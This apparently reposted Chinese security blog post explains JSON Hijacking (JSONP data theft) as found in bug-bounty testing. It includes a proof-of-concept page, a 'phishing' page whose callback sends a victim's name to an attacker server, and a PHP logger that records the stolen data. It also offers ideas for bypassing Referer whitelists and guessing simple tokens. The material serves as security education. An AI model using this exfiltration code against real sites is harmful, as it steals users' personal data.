小学生都会挖掘的JSON Hijacking实战利用

Posted FreeBuf

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了小学生都会挖掘的JSON Hijacking实战利用相关的知识,希望对你有一定的参考价值。

前言

JSON Hijacking漏洞的详细利用,有点类似与CSRF,不过原理利用方式不同,在这边文章我着重讲解json跨域劫持的利用环境搭建与方式。

0×01漏洞的挖掘

一般挖掘的过程中,burpsuite代理的History做寻找,过滤多余不可能存在漏洞的一些链接,如下图所示:

我们在返回包中json格式发现了如下的敏感信息(用户Id,用户名,用户手机号码)。

小学生都会挖掘的JSON Hijacking实战利用

0×02漏洞的证明之poc

提交漏洞,poc在众测时要争分夺秒,所以这边用了最精简的一个POC。

假如返回的数据为:

txf({"data":{"name":"唐晓峰"}});

<html>
<head>
<script>
function txf(a){
alert(a.data.name);
}
</script>

<script src=http://***.***.**/wm/User/getUserInfo?callback=txf></script>
</body>
</html>

即可如下弹窗:

小学生都会挖掘的JSON Hijacking实战利用

0×03漏洞的利用之钓鱼

1.准备一台web服务器,我直接phpstudy搭的。

附上服务器端的代码

json.php
<?php
$nickname=$_GET['name'];
$fp = fopen('info.txt','a');
$flag = fwrite($fp, "名字:  ".$name."\r\n");
?><html>
钓鱼.html
<head>    <title>txf</title><script>    var xmlhttp;    function txf(a)    {    xmlhttp=new XMLHttpRequest()    var x="http://***.***.***/json.php?name="+a.data.name;  xmlhttp.open("GET", x, true);   xmlhttp.send(); }</script>><script src=http://***.***.***?callback=txf></script></head><body>   <textarea>钓鱼啦,傻瓜</textarea>></body></html>

这边以hackone的一个项目为例:

0×04漏洞的修复与绕过

因为这个例子是小伙伴发过来的还没修复,所以都脱敏了,我们再从开发修复的角度去思考如何绕过修复。

1.Referer白名单

子域名绕过,文件名绕过,空Referer绕过

2.增加token认证

token足够复杂或者服务端加密,我们无法绕过,如果token很简单,如纯数字,我们可以尝试遍历绕过

3.接口禁用

无敌的操作,无法绕过

总结:

非常有意思的一个劫持,以前没有利用过,只是知道有这么个东西,一般众测或者项目上遇到我都是直接截图,申明一波敏感信息泄露,然后就结束了,很低危,这次实战利用之后,稍微提高了一点逼格。

以上是关于小学生都会挖掘的JSON Hijacking实战利用的主要内容,如果未能解决你的问题,请参考以下文章

暴走农夫之Json Hijacking

浅谈JSON HiJacking攻击

json的安全攻防指南

网站程序代码存在漏洞如何挖掘和修复

通讯BI案例|世纪鼎利携手奥威软件商业智能系统挖掘数据商业价值

PK2227-天善智能Python3数据分析与挖掘实战